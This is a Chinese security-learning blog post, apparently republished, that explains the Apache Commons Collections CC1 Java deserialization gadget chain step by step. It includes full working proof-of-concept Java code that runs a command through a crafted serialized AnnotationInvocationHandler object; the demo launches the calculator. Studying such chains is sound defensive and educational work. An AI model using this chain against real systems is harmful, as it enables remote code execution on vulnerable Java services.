Java反序列化CommonsCollections篇CC1

news/2026/1/25 16:20:41/文章来源:https://www.cnblogs.com/lee0/p/19530043

什么是CommonsCollection

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

环境搭建

CC1链,使用的JDK环境为JDK8u65下载链接如下

https://download.oracle.com/otn/java/jdk/8u65-b17/jdk-8u65-windows-x64.exe

可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为C:\Program Files\Java\jdk1.8.0_65,而后在IDEA中,新建项目时选择对应JDK版本即可

建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体链接如下

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

下载完成后进入jdk1.8.0_65文件夹,解压src压缩包,并将af660750b2f4.zip中的sun源码拖到这个文件夹中

进入idea,选择project structure

src文件夹加入sourcepath

maven下的包默认也是class,点击右上角的download就可以下载源码了。

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.LE0</groupId><artifactId>CC1</artifactId><version>1.0-SNAPSHOT</version><packaging>jar</packaging><name>CC1</name><url>http://maven.apache.org</url><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>3.11.0</version> <!-- 使用最新稳定版 --><configuration><!-- 核心配置:匹配SDK 8 --><source>8</source><target>8</target><encoding>UTF-8</encoding></configuration></plugin></plugins></build><dependencies><!-- https://mvnrepository.com/artifact/junit/junit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>
</project>

CC1

入口点

漏洞点在commoncollectionstransform

看看transformer的实现类

这里跟进到InvokerTransformer中,看看他的Transform方法

当参数不为空的时候,他会用反射获取输入参数的类,而后获取根据两个参数获取此类的某个方法,我们跟进这两个参数

这是InvokerTransformer方法的两个参数,所以这里其实就是一个任意方法调用,三个参数我们都可以控制。

先尝试用这个方法弹个计算器

//正常写法
Runtime.getRuntime().exec("calc");//反射写法
Runtime r = Runtime.getRuntime();  
Class c = Runtime.class;  
Method execMethod = c.getDeclaredMethod("exec", String.class);  
execMethod.invoke(r, "calc");//改写一下
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

此时可以执行命令,接下来只需要往上找,找到一个方法调用了transform方法,最好是不重名

这里可以看到TransformedMap中调用了transform次数最多,跟进去看看

这里checkSetValue接收一个对象,然后返回valueTransformer.transform(value)

继续看valueTransformer是什么东西,找到构造函数

但这是protected方法,只能自己调用自己,找到静态方法

那么是谁调用了checkSetValue呢?只有一处地方

进入了AbstractInputCheckedMapDecorator,这么长的名字,这又是啥?

原来是TransformedMap的父类

setValue在什么时候会被调用呢

其实看到entry(代表一对键值对)就可以猜到,这是在遍历map的时候被调用尝试一下

        Runtime r = Runtime.getRuntime();  InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  HashMap<Object, Object> map = new HashMap<>();  map.put("key", "value");  Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);  for (Map.Entry entry: transformedmap.entrySet()) {  entry.setValue(r);  }

成功弹出来计算器,说明这条链子是可行的

同样的方法,找谁调用了setValue,要求是不同名,如果是readObject最好,就找到链入口了

还真找到了,AnnotationInvocationHandlerreadObject有遍历map的功能,并且用了setValue

看看构造函数,这里第一个参数是一个注解,第二个参数map,但是他的类型是default,要用反射获取

链子已经找到了,但是还有三个问题

  • Runtime r = Runtime.getRuntime();是不可序列化的
  • 绕过readObject中的if判断
  • readObject中的setValue对象似乎不可控
if (!(memberType.isInstance(value) ||  value instanceof ExceptionProxy)) {  memberValue.setValue(  new AnnotationTypeMismatchExceptionProxy(  value.getClass() + "[" + value + "]").setMember(  annotationType.members().get(name)));  
}

先解决不能序列化的问题,直接通过反射获取

//普通反射写法
Class c = Runtime.class;  
Method getRuntime = c.getMethod("getRuntime", null);  
Runtime r = (Runtime) getRuntime.invoke(null, null);  
Method execmethod = c.getMethod("exec", String.class);  
execmethod.invoke(r, "calc");//改为transform的版本
Method transform = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  new Object[0]}).transform(transform);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

其实还可以用chained Transformer来迭代调用

Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

目前的利用链,但是运行运行后没有成功执行命令

package com.LE0;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  public class CC1 {  public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {  Transformer[] transformers = new Transformer[]{  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  };  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  HashMap<Object, Object> map = new HashMap<>();  map.put("key", "value");  Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);  Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);  declaredConstructor.setAccessible(true);  Object obj = declaredConstructor.newInstance(Override.class, transformedmap);  serialize(obj);  deserialize("ser.bin");  }  public static void serialize(Object obj) throws IOException {  ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  oos.writeObject(obj);  }  public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  return ois.readObject();  }  
}

动调一下,发现这里的memberTypenull,这个memberType又是什么呢?

往上看,这里获取了override的成员变量,但override没有成员变量,所以导致memberTypenull

Target有成员变量,把Override换成Target

继续调,发现还是null,因为Target的成员变量叫value,但我这里获取的是key

改完之后就不为空了

但是现在还有最后一个问题,这里的value不是我们想要的值

我们需要控制cls的值为Runtime.class,这里就要用到ConstantTransformer

你传入什么,他就返回什么

Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
};

成功调用Runtime,弹出计算器

最终链子

package com.LE0;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  public class CC1 {  public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {  Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  };  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  HashMap<Object, Object> map = new HashMap<>();  map.put("value", "value");  Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);  Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);  declaredConstructor.setAccessible(true);  Object obj = declaredConstructor.newInstance(Target.class, transformedmap);  serialize(obj);  deserialize("ser.bin");  }  public static void serialize(Object obj) throws IOException {  ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  oos.writeObject(obj);  }  public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  return ois.readObject();  }  
}

参考

JAVA反序列化—CC链的前世今生 - FreeBuf网络安全行业门户

https://www.bilibili.com/video/BV1no4y1U7E1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1215104.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:用 Flink CDC 将 MySQL 实时同步到 StarRocks

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

基数估计的黑魔法:HyperLogLog 原理与实现

本文深入浅出地解析了 HyperLogLog算法的核心原理。从“抛硬币”的直觉出发,揭示了如何利用哈希比特流中的极端观测值推断海量数据的基数。并提供了一套基于 C 语言的实现方案。展示了如何通过严谨的数学模型,在极低…

IO模型有哪几种

Java / 后端开发中核心的 IO 模型分类,是网络编程、高并发开发的基础知识点。主流的 IO 模型分为5 类(从最基础的阻塞 IO 到高性能的异步 IO),本文用通俗易懂的语言从浅到深讲解,结合场景和比喻快速理解。一、IO …

01-移植NXP官方的U-Boot

01-移植NXP官方的U-Boot 前言 为了后续 Linux 驱动和应用开发能顺利展开,得先把地基打牢——也就是把 U-Boot、Linux 内核、根文件系统这三件套搬到板子上并跑通。一句话速记它们各自的角色: U-Boot:上电后的“搬运…

让opencode+GLM-4.7+SKILL一起服务

让opencodeGLM-4.7SKILL一起服务 缘起 随着克劳德的限制越来越严&#xff0c;追寻一个替代品&#xff0c;也迫上眉睫。最近opencode冒出来了&#xff0c;GLM-4.7好像也风评不错&#xff0c;而关于prompt,也慢慢进化出了skill&#xff0c;这个周末&#xff0c;刚好来试试。 过…

CSS-选择器

View PostCSS-选择器一、全局选择器(注释单行快捷键) *二、标签选择器(只要是标签都可以成为标签选择器 无论多深都能被选择上,但一旦选中控制的为所有此标签)三、类(class)选择器 核心规则:class 首字符只能是…

整理2026年淮南艺体高考培训学院排名,合肥东辰职业学校性价比高

在职业教育多元化发展的今天,艺体高考作为学子升学的重要赛道,选择一所信誉好的艺体高考培训院校,直接关系到学子的成长与未来。面对市场上良莠不齐的培训学校,如何挑选出真正的艺体高考培训学院?以下结合安徽地区…

讲讲高质量铸造钢球特点,山东金池重工产品有哪些功能亮点?

一、基础认知篇 问题1:什么是高质量铸造钢球?和普通铸造钢球有何核心区别? 高质量铸造钢球是指通过严格材质配比、精密铸造工艺与科学热处理技术生产,在硬度、耐磨性、冲击韧性等核心性能上达到行业高标准的钢球产…

2026年十大靠谱的PVC塑胶地板供应商排名,新凯琳实力入围

在医疗康养、教育机构与商业空间的地面材料选择中,PVC塑胶地板凭借环保、耐磨、易维护的特性成为高频选择,但市场上产品质量参差不齐、供应商服务水平差异显著,让采购方陷入选品难、选商更难的困境。以下结合产品工…

武汉德语培训公司哪家口碑好

问题1:选择德语培训公司时,实力具体体现在哪些方面?如何判断一家德语培训公司是否具备真正的实力? 德语培训的实力并非单一维度的指标,而是需要从课程体系、师资储备、教研成果、教学技术等多方面综合评估。真正有…

2026沐浴露专业品牌推荐,恋香花语精准护理产品值得拥有

在消费升级与个护需求精细化的浪潮下,一款契合自身需求的沐浴露不仅是清洁工具,更是日常仪式感与肌肤健康的守护者。面对市场上繁杂的沐浴露品牌与产品,如何避开香精堆砌清洁力与温和性失衡等雷区,选择真正专业可靠…

【第1章·第12节】MATLAB/C语言混合编程应用2——通过PSO粒子群算法实现网络节点最大覆盖率优化

目录 1.引言 2.PSO粒子群优化算法实现网络节点最大覆盖率原理 3.PSO粒子群优化的matlab编程实现 4.PSO粒子群优化的mex+C编程实现 本文提出了一种基于PSO粒子群优化算法的网络节点最大覆盖率求解方法,通过MATLAB/C混合编程实现。首先介绍了PSO算法原理,包括粒子速…

2025年国内知名的花灯加工厂排行榜单,庙会花灯/演绎花灯/马年花灯/大型花灯/传统花灯/春节国潮花灯,花灯定制厂家推荐

随着文旅夜游经济的蓬勃发展,十二生肖花灯作为传统节日与现代文旅场景的核心载体,正经历从“照明工具”向“文化IP+科技交互”的转型。据行业统计,2024年国内花灯市场规模突破85亿元,其中智能互动花灯占比超40%,消…

2026.1.23 闲话:TopTree 维护仙人掌

被电脑做局了,现在才发。贡献一发 TopTree 维护仙人掌的代码。不保证绝对正确,要是被 hack 了记得告诉我,我马上改 qwq。记录即将完工两次被机房电脑自动关机做局。引入 TopTree 维护树就不多提了,默认大家都会了。…

C++趣味找错误,请找出这个C++程序到底有多少错误!

C++趣味找错误,请找出这个C++程序到底有多少错误!当你正在学习C++入门的时候,通过查错,可以温故而知新,这里有一份有很多错误的C++代码,你能找出到底有多少个错误吗?//让小火箭重复4次画一个正方形, #inclu…

市场评价高的流化床干燥机厂家,定制服务解析,干燥设备/干燥机/闪蒸干燥机/喷雾干燥机/废液干燥系统,干燥机批发厂家排行榜

在化工、制药、食品等工业领域,干燥设备是保障产品品质与生产效率的核心环节。其中,流化床干燥机凭借高效节能、干燥均匀、操作灵活等优势,成为高湿度物料处理的首选设备。然而,不同行业对干燥温度、速度、物料适应…

聊聊口碑好的电火花加工,汉霸数控为何受众多知名企业信赖?

随着精密加工行业对设备精度、效率与稳定性的要求持续提升,口碑好的电火花加工、电火花品牌、精密电火花哪家更靠谱已成为众多制造企业采购决策的核心疑问。本文围绕这些高频问题,结合上海汉霸数控的技术实力与行业实…

2025年成都火锅品牌排行,这10家回头客最多!美食/烧菜火锅/火锅/特色美食/社区火锅成都火锅品牌推荐榜单

引言:口碑为王的成都火锅市场新格局 在美食之都成都,火锅不仅是餐饮品类,更是一种深入城市肌理的文化符号。随着市场竞争日趋激烈与消费者口味的不断进化,单纯依靠营销已难以长久立足。能够持续吸引回头客的品牌,…

心灵的三重疆域:弗洛伊德意识三层结构理论解析

心灵的三重疆域&#xff1a;弗洛伊德意识三层结构理论解析 在精神分析理论的构建中&#xff0c;西格蒙德弗洛伊德&#xff08;Sigmund Freud&#xff09;提出的“意识三层结构”理论&#xff0c;是颠覆人类对自身心灵认知的革命性创见。这一理论打破了“心灵即意识”的传统认知…